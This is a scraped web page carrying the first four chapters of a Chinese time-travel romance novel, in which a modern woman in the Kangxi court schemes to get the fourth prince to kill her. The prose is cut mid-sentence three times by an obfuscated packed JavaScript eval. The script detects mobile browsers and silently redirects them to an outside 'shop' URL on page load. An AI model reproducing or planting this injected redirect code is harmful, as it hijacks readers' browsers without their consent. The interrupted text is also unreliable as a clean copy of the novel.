《我的目标不是皇后啊![清穿]》 1. 第 1 章 六月,傍晚。 夕阳渐沉,天色已暮。 南通州通往京城的小道上,数匹骏马飞驰北去,荡起阵阵尘土。 这条蜿蜒的黄泥小道并不是官道,而是通向京城的近路。 “十四弟,咱们非要今晚赶回去?” 为首并骑的两匹骏马上,其中一位蓝衫男子又抹了一把脸上的汗,语气中颇有些无奈。 被称作十四弟的青衫男子轻轻摇头甩了甩脸上的汗水,头也不扭的说道:“九哥,天儿这么热,与其在路上受热不如早点儿回去还能凉快些。” 蓝衫男子闻言叹了口气,“那倒是,这一路的驿站里连个冰盆都没有!” 二人说话间,顺着转过一道弯,远远看到杂草丛生的路边有人俯在地上不知在做什么。 及至近处才看清不是一个人,而是一个男人压着一个正在挣扎的人。 眼前这情形,一看便知必定是歹徒欲图谋不轨! “吁!” 勒住马的同时,青衫男子高声呵斥:“住手!” 然而,正在行凶的歹徒并没有应声起来。 光天化日之下,竟有如此大胆狂徒! 青衫男子见状更是满腔怒火,随之翻身下马,不等在后的仆从上前就快步上去一手抓住歹徒的肩膀想将人提溜起来。 此时他才发现歹徒左侧脖子处插着一根发簪,而歹徒的双手狠狠的掐住身下女子的脖颈。 这女子,就像是一朵正被暴风雨摧残的娇花,毫无征兆的闯入他的眼中…… 艳丽而孱弱的面容立刻激起了他的保护欲,“砰砰”几拳之后又飞起一脚,歹徒已经被踹飞半米远。 “速速回避!” “取爷的外衫过来!” 他高喊的同时,迅速以身体遮挡住随行仆从的视线。 因为女子的上衣已经被撕破,露出里面的红色肚兜。 面比芙蓉娇,眼似桃花艳,肌肤胜雪白,虽做男子装扮亦不减其色。 看了几眼之后他便强迫自己要非礼勿视,而后垂下眼帘轻声询问:“小姐,你还好吗?” 此时仆从弯腰低头不敢直视的双手递过来一件外衫,他接过来后又唤了一声,“小姐……” 见女子没有应声,料想是惊魂未定。 于是便直接把自己的外衫搭在了她身上遮住春光,接着细声安慰:“小姐莫怕,歹人已经被我制服。” 沈姝躺在地上大喘气,三天前的实验室爆炸把她送到了康熙四十六年,成为一名穿越人士。 而且还拥有穿越人士必备的任务系统,看似拿到了主角配置。 然而她的系统,就只有一个任务。 这个任务,简直莫名其妙! 居然是要她达成被爱亲觉罗·胤禛杀死的结局,任务才算完成。 四阿哥胤禛她知道,不就是雍正嘛! 网上说此人性格多疑且残酷、刻薄寡恩,她相信这是史实。 毕竟历史上,他对亲兄弟不是一般的心狠手辣。 对亲兄弟尚且如此,何况外人乎? 跟着他的人,没几个有好下场。 沈姝觉得只要自己顺利的接近他,找死那还容易? 而且她问过了,亲手杀和下令杀都算。 完成任务的奖励是可以重新回到现代,成为拥有一百个小目标的富婆。 这任务,很具有挑战性,而且极其划算。 不用系统威胁逼迫,沈姝就接下了。 一百亿啊,她已经忍不住要畅想这些钱应该怎么花才好? 把这场穿越之旅当成工作,为了一百个小目标,必须要拼! 可事实证明,薪酬百亿的工作,没有想象中那么好干。 这才三天,连目标人物都不知道在哪里,她就差点儿出师未捷身先死。 她已经很小心了,穿越过来之后很快设法装扮成男子,脸上还抹了锅底灰。 前几天都很顺利,按照原主的目标继续北上京城。 好不容易到了南通州,方便的时候被人撞见,结果…… 一想到这里,沈姝就忍不住想口吐芬芳。 这该死的封建社会,落后到官道旁连个公共卫生间也没有! 直到被衣服盖住,沈姝才逐渐放松下来。 把目光聚焦在眼前的男子身上,打量了几眼自己的救命恩人。 一身锦衣的年轻人,眉清目秀,应该是富家子弟。 “多谢……” 沈姝缓缓坐起身来,想要开口道谢。 然而刚一张嘴,就觉得嗓子火辣辣的疼。 刚才她可是真的差点儿被掐死,虽然捅了歹徒一簪子,但没来得及拔出来放血就被掐住了脖子。 青衫男子见状忙道:“小姐伤了喉咙,莫要多言。” 顿了顿又问道:“我们去往京城,不知与小姐可否同路?” 沈姝点点头,正好她也是去京城,看来可以搭上顺风车。 见她点头,青衫男子面色微喜,“不若我送小姐一程?” 沈姝再次点头,即便眼前这位富家子弟心里有什么小九九,她也并不在意,再坏也不过刚才的情形! 况且她对京城的情况一无所知,连四阿哥的府邸大门朝哪儿开都不知道。 眼下这情形,也只能走一步看一步。 “小心!” 沈姝裹着外衫起身的时候,脚下一软,歪向青衫男子,被他揽腰扶住。 并不是她故意,而是经历殊死挣扎后真的会腿软。 软玉在怀,青衫男子眼底闪过怜惜之色,二话不说直接扶着不再撒手。 至于男女大防? 以他的身份,收了她便是! 再说以今日之事,跟着他,才是她最好的出路。 沈姝也没有反抗,她一个后世之人。对于此种热心行为表示很习惯,应该感谢才对! “我抱你上马。” 说着青衫男子弯腰抱起沈姝,将她放在马背上,接着翻身上马。 一旁围观了整个过程的蓝衫男子见状毫不避讳的笑道:“十四弟,你这是英雄难过美人关啊!” 这女子,生的如此貌美,可惜已经被十四弟收入囊中,早知道方才他就先一步多管闲事了! 不过也该是她命好,遇到他们,否则真就是应了那句话,红颜薄命! “驾!” 青衫男子哈哈大笑,心情颇佳,只手抱着怀中的美人,策马扬鞭。 至于被踢飞的歹徒,已经被后面随行的仆从手起刀落。 被揽入怀中的沈姝垂头作出娇羞拘谨的模样,一声不吭的努力维持住身形。 同时心里在想身后这个“十四弟”是不是她想的那个? 如果是十四阿哥胤祯那就太好了,这样的话任务就有处着手了! 沈姝清楚自己现在的处境,看刚才这两位男子毫不避讳的言行就知道。 以出身和现在的境况来说,现在的她,根本就没有选择的余地。 奔驰的马背上颠簸不已,毫无骑马经验的沈姝艰难的维持着自己的姿态,她不能一开始就柔若无骨的依靠在身后之人的怀抱中。 因为那样不会赢得任何尊重。 她的场面已经够糟糕了,总要为自己争取一些印象分。 自上马到现在,半个时辰已过。 而怀中的女子,依然坐的挺直,刻意与自己拉开微不足道的距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782338|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离。 颠簸时,自己的胸膛能够碰到她的后背。可她很快便刻意的拉开距离,丝毫都没有想要依靠自己的意思。 青衫男子觉得怀中人必定是良家女子,可心里又对她如此的倔强有些许的不满。 难道在她心里,自己这个救命恩人不值得依靠吗? 其实沈姝坚持的很累,半个多时辰已经是她的极限。 不知道还要多久才能到京城,最后她双眼一闭干脆晕了过去。 当然,是装的。 然后就感觉自己的腰被对方的胳膊收紧,被拉近扣在怀中。 如果不装晕,两个陌生人之间,这样的姿势连她这个后世之人都觉得尴尬。 终于可以歇一会儿了,沈姝闭着眼睛,装晕装到睡着。 再次醒来的时候发现自己已经躺在了床上,映入眼帘的是天青色的床幔。 额头上似乎有东西,伸手拿下来发现是一沓微凉的湿毛巾。 头有点儿晕乎乎的,缓缓坐起身来,沈姝观察着屋内的情形。 贴墙的条案上,一对方形雕花宫灯散发出昏黄的光芒,室内晦暗不清。 床头床尾各有两个铜盆,盆中是融化殆尽的冰水。 屋里没有人,也不知道这是哪里? 光着脚下床,沈姝走向圆桌。 因为她口渴了,而这上面摆放着茶壶茶杯。 自顾自的倒了杯水一口气灌下,长舒一口气,沈姝觉得昏沉的脑袋清醒了些。 她这是装晕变成了真病? 否则不可能睡的这么沉,连怎么到的这里都不知道。 正想走向门口时,听到有脚步声走近。 很快,房门被推开,进来的是两个端着冰盆的年轻丫鬟。 看到光着脚站在这里的沈姝,其中一个高挑的丫鬟忙道:“哎呀,小姐您可算是醒了!” 另外一个稍矮的丫鬟则是微微皱眉,“小姐,您怎么能赤脚下地?” 她们二人都知道,眼前这女人是十四爷从外面带回来的。 回来之后又是唤太医又是抓药熬药的,好一通的折腾。 听说这位还是十四爷一路抱回来的,抱回来的啊! 这可是独一人,福晋因此气的摔了好几只茶杯! 福晋打发她们两个来伺候也是不得已,明眼人都知道,这女人就是十四爷的新宠。 “请问你们二位是?” 沈姝没有错过两个丫鬟眼中的探究与不喜,只是当做没看见。 高个子丫鬟开口表明了身份,“奴婢春喜还有春芳,是福晋遣来伺候小姐的。” 矮个子丫鬟暗中打量着沈姝,言语间颇有敲打的意味。 “福晋心善,小姐您可要保重身体,莫要让十四爷过于忧心。” 福晋这个称呼在沈姝的印象中,就是皇室贵族的专有称呼。 所以可以确定,十四爷就是她猜的那个。 看来开局不错,已经接触到关联人物。 “民女多谢福晋体恤。” 只是看丫鬟们的态度,沈姝觉得自己疑似将陷入内宅麻烦中。 她对宅斗不感兴趣,也不希望囿于内宅。 再说十四阿哥并不是她的任务目标,在这里跟他的女人争斗毫无意义。 如果是身处四阿哥的内宅,沈姝倒是可以试试能不能通过宅斗激怒他以求完成任务。 见沈姝态度还算恭顺,春喜笑道:“太医说您是热伤风,药应该已经熬好了,奴婢去端过来。” “多谢。” 对待两位丫鬟,沈姝愿意维持表面上的客套,毕竟多一事不如少一事。 她现在头疼的是,如何通过十四阿哥完成任务? 2. 第 2 章 “奴婢见过十四爷。” 药还没有端来,十四阿哥过来了。 他换了一身天青色的云纹锦袍,上面依然没有能彰显身份的龙纹。 单从衣服上看,确实看不出来是皇子。 可丫鬟们的称呼已经表明了他的身份。 “民女沈姝感激十四爷救命之恩!” 随着丫鬟春芳行礼,沈姝也不得不回忆起相应的礼仪。 十四阿哥是皇子,她是草民,身份悬殊。 想要安稳的打探更多消息,入乡随俗,礼不可废。 十四阿哥没有让沈姝跪下去行大礼,而是伸手扶住了她,“沈小姐免礼,快快请起。” 亲自将人扶起来后,他温声询问:“不知沈小姐是哪里人氏?” 沈姝决定趁机将原主的冤屈道出来,“回十四爷,民女本是山西平阳人氏,自幼父母双亡,与祖父相依为命,此番进京乃为告状。 乃因去年秋,山西巡抚噶礼纵容亲属仆从至平阳等地大肆逼捐,民女的祖父因不肯捐献唐寅真迹而被活活打死。 不仅是民女的祖父,平阳等地富户若有不从,皆家破人亡……” 不知道十四阿哥愿不愿意出手相助,单凭这张脸,筹码未必够,沈姝实在是没有把握。 若是恳求而被拒,将进退两难。 所以她只是作出默默流泪的凄惨状,而没有出声哀求。 “莫哭……” 美人垂泪,惹人怜爱。 十四阿哥亦是心生怜惜,伸手轻轻抹去沈姝滑落的泪珠。 只是此事,他无法作出任何承诺。 因为噶礼不仅出身满八旗,还是皇阿玛的奶兄,深受信任,是实打实的宠臣。 之前不是没有人弹劾过噶礼,只是都被轻轻揭过。十四阿哥知道,即便再弹劾,恐怕也是这种结果。 但他不能不帮沈姝,让她只身去告状。 这般的美人,告状无异于羊入虎口。 “沈小姐……” 迎上沈姝求助的目光,十四阿哥不禁面露难色,斟酌之后实话实说,“我可以帮忙找御史弹劾噶礼,只是朝堂之事,没有那么简单,结果未必会如意。” 沈姝对清史的了解仅限于历史课本和网络,噶礼是什么人,她并不知道。 十四阿哥这番话,不知道是实话,还是纯粹的敷衍自己。 话已至此,沈姝明白十四阿哥帮不了她,随即道谢,“承蒙十四爷相助,民女感激不尽。” 沈姝觉得自己顶替了原主,如果可以,还是希望能帮她报仇。靠十四阿哥看来是不太行,只能看看情况再说。 而十四阿哥本来想先了解一下沈姝的家世,再说两个人的事情,结果没想到居然是这样。 虽然她无依无靠,但他也不愿过于趁人之危。 “莫要过于伤心,好好休息。” 十四阿哥安慰了一句,见沈姝情绪低落,不知道该说什么好,很快便离开了。 沈姝知道把这些说出来,一时半会儿,十四阿哥不会对她怎么样。他看上去不像是那种会用强的禽兽不如之人。 康熙四十六,著名的九龙夺嫡进展到哪一阶段了她不知道。只知道最终的胜利者并不是十四阿哥,而是四阿哥。 据说,九龙夺嫡中的失败者,下场没一个好的! 开局跟的是十四阿哥而不是四阿哥,沈姝觉得想要完成任务,过程会很曲折。 这事急不得,要等机会。 就这样,沈姝在这里住了下来。 这几日,十四阿哥的福晋除了派过来春喜和春芳两个丫鬟,没有其他动作。 沈姝也乐得清净。 十四阿哥也鲜有过来,只是派人送了些布料和首饰。 沈姝只挑选了两种较为素净的颜色,让裁缝做了两身衣服。 十四阿哥其实是不好意思过来,因为他还没有办好弹劾的事情。 怕过来被沈姝追问。 这事要是没有一个交代,他认为自己面子上也挂不住。 八阿哥府内,听十四阿哥说要弹劾噶礼,其他几位阿哥们都不知道他想干什么。 “十四弟,之前御史刘着鼐上疏皇阿玛弹劾噶礼之事,你不是不知道,因何还要如此?” 见八阿哥、九阿哥、十阿哥都看着自己,非要问出个理由。 十四阿哥也知道,弹劾噶礼属于吃力不讨好的事情。 甚至八哥还想拉拢噶礼。 “我有不得不如此的理由。” 见十四阿哥不愿道出缘由,八阿哥叹了口气,“十四弟,到底是因为什么,你我兄弟之间难道还有什么不能说的?” 十四阿哥还是没有说出理由,毕竟这个理由说出来确实不太好听,好像自己是为美色所迷。 他说了一些自己调查到的事情,再次表明意图。 “噶礼在山西导致民怨沸腾,据我所知平遥百姓已上京控告。我并非是要亲自弹劾,只是希望八哥你能在暗中顺水推舟。” 这话的意思就是希望八阿哥能利用人脉关系在弹劾一事上添把火,十四阿哥觉得自己这样已经算是尽力了。 十四阿哥越是不说,八阿哥越发想知道。 “十四弟,不是我不帮你,你总得让我帮个明白忙吧?” 九阿哥和十阿哥也很是好奇,“是啊十四弟,你这话没头没尾的,总得有个缘由才对。” 眼见实在是掩饰不过去,十四阿哥只得把沈姝的事情简述了一遍。 其他人一听便明白是怎么回事,八阿哥拍了拍十四阿哥的肩膀,哈哈大笑。 “哎呀十四弟,你这算是冲冠一怒为红颜!” 十阿哥也笑道:“我很是好奇,那女子究竟是何等颜色?竟然能让十四弟如此!” 见过沈姝的九阿哥直接说道:“不怪十四弟动心,那位沈小姐我见过,确实生的极美。” 十阿哥听罢打趣道:“既是如此,不若咱们一道去看看,顺便提前把贺礼给备上。” 名分未定之前,他可不想大肆宣扬,十四阿哥笑了笑,“不急。” 说着他看向八阿哥,八阿哥见状只得应下。如果十四阿哥要亲自弹劾噶礼,这个忙他肯定不会帮。 推波助澜的话,那可操作的空间就大了。 使多大力,那就是他说了算。 只要到时候十四阿哥别埋怨就好,所以八阿哥提前提醒了一句。 “只此一次。若是弹劾不成,咱们也别再趟这浑水。” 十四阿哥点点头,“八哥放心。” 见十四阿哥这样,八阿哥心里有谱了。 看样子十四弟只是想在美人面前表现一番罢了,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782339|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是否能够弹劾成功并不在意。 得到八阿哥的支持,十四阿哥觉得此事已经算是可以有一个交代。 于是便回府告诉沈姝这个好消息。 沈姝对弹劾一事本就不报多大希望,因为十四阿哥已经提前给她打过了预防针。 无论如何,哪怕是举手之劳,她也很感谢。毕竟十四阿哥没有义务帮任何忙。 露出感激的表情道过谢之后,沈姝想趁机了解一下噶礼的情况。 “噶礼此人很得皇上的信任吗?” 见沈姝开口问,十四阿哥虽然不想谈这些,还是细细为她解惑,省的到时候她以为自己敷衍了事未尽力。 “他的母亲是皇阿玛的奶娘。本朝以孝治天下,皇阿玛更是为天下表率,对奶娘甚是亲厚。 更何况噶礼此人不仅能言善辩,还曾在皇阿玛亲征噶尔丹时立下功劳。故此,噶礼甚得皇阿玛信任。” 这么说来,噶礼此人确实背景深厚。 沈姝知道即便是十四阿哥相信自己所说,但实际上她并没有提供任何证据。 原主想的是只要上京城控告,上面派下官员前去当地走访便能知晓真相。 但沈姝没有这么天真,她是有社会经验的成年人。 想想后世,多少事情上面派人下来查,查出什么结果了吗? 还不是高高举起,轻轻放下。 何况这是在高度集权的皇权时代! 十四阿哥已经说的很明白,有奶娘这层关系在,康熙这个皇帝的屁股本就是歪的。 沈姝听完表情凝重的再次道谢,“谢谢十四爷如实相告,民女感激不尽。” 顿了顿又道:“无论弹劾的结果如何,民女都记得十四阿哥的恩情。” 后面这句话,十四阿哥听的很是欣慰。 这说明沈姝已经体会到自己的用心,不是那种胡搅蛮缠的女子。 他趁机聊表心意,“你虽然失去了父母无依无靠,但还有我……” 沈姝不想回应十四阿哥的表白,垂下头故作泫然欲泣状。 她人在这里,一时半会儿间实在是没有去处,只得装聋作哑。 十四阿哥只当沈姝是思及家中事伤心落泪,这实属人之常情。 虽然落泪的美人依旧是美人,但他更想博得美人一笑。 于是借故提议:“听闻京郊白云寺有高僧,不若明日我带你前去上香祈福?” “多谢十四爷。” 这个借口找的很合理,也很贴心。 沈姝无法拒绝,况且她也想去外面透透气,而不是整日里闷在府里。 见沈姝应下,十四阿哥很高兴,只是觉得两个人之间还是过于生疏。 于是故意叹了口气,“莫要左一个谢右一个谢的,我们之间何须如此?” 这话说的,充满了暗示的意味。 十四阿哥的心思,沈姝当然明白。 事实上,如果换做是其他女人,当然是别无选择。 毕竟之前遭遇歹徒,虽然只是被撕破了衣衫,但在旁人看来估计是相当于失贞。 也许在任何人看来,自己能随了十四阿哥,都是她的福气。 可这福气,沈姝并不想要。 见沈姝垂眸不语,十四阿哥轻轻的拍了拍她的手,“好好准备一下,明天咱们去祈福。” 3. 第 3 章 次日,天晴,阳光明媚。 正常的女眷出行,都是坐轿子。 但十四阿哥不想,他想二人共骑。 去祈福不过是一个幌子,他只是想借机与沈姝好好相处相处。 当然,身为孤苦无依的美人,沈姝没有反抗的资本。 看着眼前的高头大马,她面露难色。 “我抱你上马?” 十四阿哥的小心思也在于此,他知道沈姝不会骑马。 沈姝才不让他完全如意,抬头露出请求的眼神,“十四爷,您教我骑马好不好?” 以后学会骑马,就不给他占便宜的机会! “好!” 这样的小请求,十四阿哥自然不会拒绝,他也乐得如此。 汉人喜欢什么红袖添香,于他而言,手把手的教美人骑马,才是趣事。 “来,左脚先登上马镫……” 被十四阿哥扶着,沈姝抓住马鞍,踩着马镫费劲儿的往上爬。 相比她的笨拙狼狈,十四阿哥一个翻身利落上马,矫健的姿态让沈姝羡慕不已。 上马之后,十四阿哥握住沈姝的手继续教,“像这样,双手拉住缰绳,双腿夹紧马腹。” “驾!” 说着他扯了一下马缰,驱马前行。 一路上,十四阿哥倒是没有什么其他的过分举动,除了把“沈小姐”的称呼改成了“阿姝”。 只是什么算过分举动,两个人之间隔了上百年的鸿沟,标准显然不一致。 在沈姝这个现代人看来,十四阿哥还算规矩,不是那种猥琐的咸猪手。 她虽然觉得有些不自在,但仍在可以接受的范围之内 在十四阿哥眼里,贴的这么近还能摸摸小手,已经是亲密不已。 二人一骑,慢悠悠的像郊游那般。 后面跟着的仆从简直无语望天,这叫什么骑行? 跟蚂蚁爬似的,还不如下来用脚走的快! 白云寺在京郊,之前名声不显,今年来名声大噪是传闻这里有佛光显现。 地方是十四阿哥特意选的,无论如何,他希望沈姝能够节哀,莫要整日里郁郁寡欢。 骑马行至白云寺门口,十四阿哥率先下马,而后伸手将沈姝扶下来。 二人一同入寺,仆从前去拴马。 寺内古木参天,人流如织,香火旺盛,颇有一股寺庙特有的繁华之景。 进入大殿之后,十四阿哥很是阔绰的捐了三百两的香油钱,为沈姝的祖父和父母都各求了一盏长明灯。 沈姝跪在蒲团上,面前是黄铜色的火盆。 十四阿哥亲手接过仆从带来的纸钱投入火盆中,轻声安慰道:“你的亲人知你安然无虞,想必九泉之下亦感宽慰。” 微闭双目,感受着缭绕的热气和纸钱的气味,沈姝无声的承诺:必将尽全力为原主一家报仇。 否则她无法安心的顶替原主,哪怕到此一游,只为做任务。 原主的某些记忆是她刻意回避不愿读取的内容,仿佛不去翻看这些,事情就与自己无关。 可这些天,她终究还是无法说服自己。 那些记忆就住在这副身体里,并没有离去。 睁开眼之前,沈姝轻声道:“请安息……” 祈福过后,见沈姝神色肃然,不显一丝轻松,十四阿哥领着她在寺内转悠散心。 瞥见人流涌向后院,十四阿哥问向贴身小厮六子,“那些百姓都前去作甚?” 六子对白云寺的事情还算了解,因为这地方就是他推荐的,所以即刻答道:“禀爷,今儿个是佛光现世之日,他们应该是前去观瞻的。” “当真?” 十四阿哥有点儿好奇,白云寺这地方他还是第一次来。 六子笑着说道:“爷您也过去亲眼一睹便可知。” 作为贴身小厮,他知道十四阿哥是真的在意这位貌美如花的沈小姐。所以才费心的带她来上香。 他看了沈姝一眼接着又道:“听说香客们在佛光现世之时供奉的香火格外灵验呢!” 十四阿哥闻言朝沈姝说道:“咱们也去看看。” 沈姝点点头,跟着他往后殿走去。 此时后殿院中已经集聚了不少人,十四阿哥看到摆放香烛的案几,示意六子去买。 六子先是去问了价,回来后故意问道:“爷,这些香烛规格不同,有一两一支的,最贵的价值百两,您看?” 这还用选吗? 十四阿哥瞪了六子一眼,“心诚为贵,狗奴才这点儿事都办不好,还用来问?” “哎哎~” 虽然被骂了,但这是六子故意的,他笑嘻嘻的应道:“爷骂的对,那就百两的六支!” 十四阿哥满意的点点头,这六子,会办事。 什么香烛啊,掺了金粉吗? 居然卖到一百两一支,沈姝一听就觉得像是骗局,转头看向十四阿哥想要阻止他花冤枉钱。 “十四爷,此番过于奢靡,又何必……” 只是话没说完就被十四阿哥打断了,“阿姝,只要能让你心有所慰,无需在意这些身外之物。” “可……” 可这是一番好意,沈姝张了张嘴,还没有想好怎么拒绝妥当。 那边,六子已经捧着六根粗长的香烛过来了。 算了,直接去退货也不太合适,必定会惹得十四阿哥不高兴 沈姝只得闭嘴,不得不接下这番好意。 “走吧,咱们去上香。” 六子抱着香烛领着仆从在前面开路挤开一条通道,十四阿哥护着沈姝涌向人流最前方。 只见前方空地上摆放着一尊莲花佛台,周边一圈全都是阔口大香器。 挤到前排后,六子朝十四阿哥和沈姝解说道:“爷,香客们需要把求得的香烛插入香器中,待大师过来便可焚香以求佛光普照。” 十四阿哥接过六子手中的三支香烛,六子将剩下的三支双手递给沈姝。 原本他买的就是六支,因为知道十四阿哥想要借着上香以在沈姝跟前表明身份。 沈姝捏了捏手中的香烛,从外形上实在看不出来有什么特别之处,但嗅得出这里面有股浓郁的松香味儿。 想到六子口中的“佛光普照”,她露出若有所思的眼神。 两个人手持全场最贵的香烛上前上香,引人注目。不少围观百姓惊呼,这可是足足六百两啊! 多少人,几辈子都赚不到这么多钱! “十四弟!” 十四阿哥带着沈姝刚插好香烛,转身便听到有人唤他。 扭头看过去,发现是四阿哥和十三阿哥。 没想到在这里居然遇到不讨喜的人,十四阿哥的好心情顿时被破坏了。 但又不能不打招呼,于是点点头,“四哥、十三哥,你们怎么也在?” 四阿哥的目光在沈姝脸上扫过之后又看向十四阿哥,解释了一句,“十三弟非要拉着我来观看佛光普照。” 他确实是被十三阿哥拉过来的,因为十三阿哥知道他想要收拢些能人异士,只是没想到会在这里遇见十四阿哥。 十三阿哥则是看着沈姝随口问了一句,“十四弟,这位姑娘是?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782340|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在外人面前,因为还没有给沈姝任何名分,十四阿哥只得介绍道:“这是沈姝沈小姐。” 但明眼人应该都能看得出来,这就是他的女人。 在十四阿哥喊出来四阿哥这个称呼的时候,沈姝心里便是一喜。 原来不远处这位身穿玄衫,绷着一张脸的中年男子居然就是四阿哥? 他看起来比十四阿哥要大七八岁不止,也比一旁的十三阿哥要大。 估计大约有三十岁左右,毕竟四和十四,序齿都差十个数,十四阿哥看样子也就二十岁左右。 沈姝又多看了四阿哥一眼,很好,已经见到了任务目标。 她上前行了一礼,“民女沈姝见过四爷、十三爷。” 沈姝? 四阿哥又看了这位容貌格外出挑的女子一眼,心道:怪不得十四阿哥出手如此阔绰。 十三阿哥则是心疼那白花花的银子,“十四弟,你出手可真是阔绰的很啊!” 十四阿哥淡淡的瞥了十三阿哥一眼,“我可不像十三哥你,过于看重钱财。” 这话是在讽刺自己抠门,十三阿哥知道这种香烛贵到令人咋舌,随即啧啧两声,“那是,我不如十四弟你,为求美人欢心就花钱如流水,莫不是被迷昏了头?” 眼看两个人就要吵起来了,四阿哥开口劝架,“十三弟,你过分了,莫要再拿人家姑娘家作筏子。” 他与十四阿哥虽是乃一母同胞,但兄弟之间关系并不好。 相反,与十三阿哥却是关系极好。 说十三阿哥几句,以兄弟二人之间的关系,十三阿哥不会放在心上。 但十四阿哥,可就不好说了。 所以劝架的时候,四阿哥只能这么劝。 沈姝垂首在一旁,静默不语。 四阿哥这番话,她听着还算顺耳。 说实话,她对这位十三阿哥的话表示不悦。不是不想吵回去,而是还没找到由头。 他们两兄弟吵架归吵架,还非要扯她这个外人,这不是扩大攻击范围吗? 十四阿哥也有点儿恼怒,狠狠的瞪了十三阿哥一眼,正欲破口大骂,沈姝拉了拉他的衣袖。 “十四爷,若是因小女子而使得你们兄弟间起争执,那倒真是我的不是了。” 她并不想十四阿哥替自己出头,因为没必要,她要自己来! “阿姝……” 十四阿哥看向沈姝,见她看向自己面带难色,不忍让她为难。 于是一甩袖子,又瞪了十三阿哥一眼,到底是没有再恶语相向。 四阿哥因着这句话又多看了沈姝一眼,这姑娘颇为通事理。 十三阿哥见状,撇了撇嘴,没再说什么。 此时,一位身披袈裟的大师缓步走来,径直坐上莲花台。 一众人等的目光都被吸引住,随着香烛被点燃,突如其来的光晕在莲花台周围汇聚显露。 被笼罩其中的大师,仙气十足。 人群中响起惊呼声:“佛光,真的是佛光!” 围观的百姓不禁跪下高喊不止,“求佛祖保佑,佛祖保佑……” 就连一旁的十三阿哥都不禁惊呼,“果然是佛光普照!” 四阿哥和十四阿哥则是静静的看着这一幕,同样倍感玄妙。 而沈姝则是暗笑一声,总算是找到机会了,可以对着无知愚昧的十三阿哥亲自开一波嘲讽拉拉仇恨! 十三阿哥既然跟四阿哥在一起,说明他们二人关系好。那么得罪十三阿哥,四舍五入也算是得罪四阿哥。 不得罪四阿哥,怎么让他杀她呢? 4. 第 4 章 “大惊小怪。” 沈姝摇摇头,说着还故意瞥了十三阿哥一眼。她的声音不算大,但足以让十三阿哥他们听到。 “阿姝,你说什么?” 十四阿哥当然也听到了,他扭头看向沈姝,不知道这是什么意思。 四阿哥也转头看向沈姝,如果没听错的话,刚才那四个字可是满含讥讽。 看到沈姝的目光中那毫不掩饰的嘲讽之意,十三阿哥很准确的捕捉到,刚才那四个字是说他的。 “你这女人,胡言乱语些什么?” 沈姝毫不客气的直接说道:“意思就是十三爷你连这种小把戏都看不透,还在这里大呼小叫的,很是失仪!” 十三阿哥则是指着沈姝开始扣帽子,“你这般言语,简直是对佛祖不敬!” 沈姝面带讥色的朝十三阿哥翻了个白眼,转而看向所谓的大师,“佛家讲究四大皆空,而此人依靠故弄玄虚的小把戏沽名钓誉以敛钱财,这才是对佛祖的大不敬!” 怪不得一支香烛卖如此高价,原来全都是靠这种坑蒙拐骗的把戏,她看不惯这种招摇撞骗的大师。 可惜她的声音被波浪般高低起伏的“求佛祖保佑”给淹没了。 十三阿哥觉得沈姝在胡言乱语,但看她神情倨傲,一时之间又拿不准。 十四阿哥看了看前面的大师,又看了看沈姝,正打算细问。 而四阿哥则是走了过来,看着沈姝:“沈姑娘,我们出去说。” 然后又看向十四阿哥,“这里不是说话的地方。” 十四阿哥也反应过来,此处杂乱,在这里说这些话等同于人家的砸场子。 四个人一并出了白云寺,刚到外面,十四阿哥便问道:“阿姝,你这是怎么了?” 十三阿哥也大声道:“你说那是假的,如何证实?” 只有四阿哥看着沈姝没吭声,因为他想问的,已经有人在问。 “很简单!” 沈姝说着看向十三阿哥,言语间尽是不屑,“十三爷若是还想大惊小怪一番,小女子我可以勉为其难的表演一下。” 没有直接激怒四阿哥的机会,她就想故意激怒十三阿哥,谁让他跟四阿哥是一伙的,惹恼他应该有助于被四阿哥厌恶。 四阿哥和十四阿哥此时已经看出来,沈姝纯粹就是故意找茬十三阿哥,大概是因为之前那句话。 然而她竟然敢放出大话,难道是真的有所依仗? 十三阿哥被气的嚷嚷道:“好好好!” 一连三个抑扬顿挫的好字,足以代表他被气的不轻。 “那你就表演看看,如若不然,必将你拿下押至兵马司从重处罚!” 一听这话,十四阿哥立刻出声斥责,“十三哥,你欺人太甚!” 主要是他不太确定沈姝到底行还是不行。 而四阿哥也拉了一下十三阿哥,没等他开口劝,沈姝便爽快的点点头,“可以。” 然后又看向十三阿哥接着道:“若民女能做到,希望十三爷能为之前的话向民女道歉。另外,里面那个骗子,十三爷你负责处理。” 说完之后,她才朝十四阿哥说道:“十四爷,请相信民女。” 十四阿哥见状,张了张嘴,不知道该说什么好。从来还没有哪一个女人,让他这么……这么的为难。 四阿哥见状,也不再劝了。 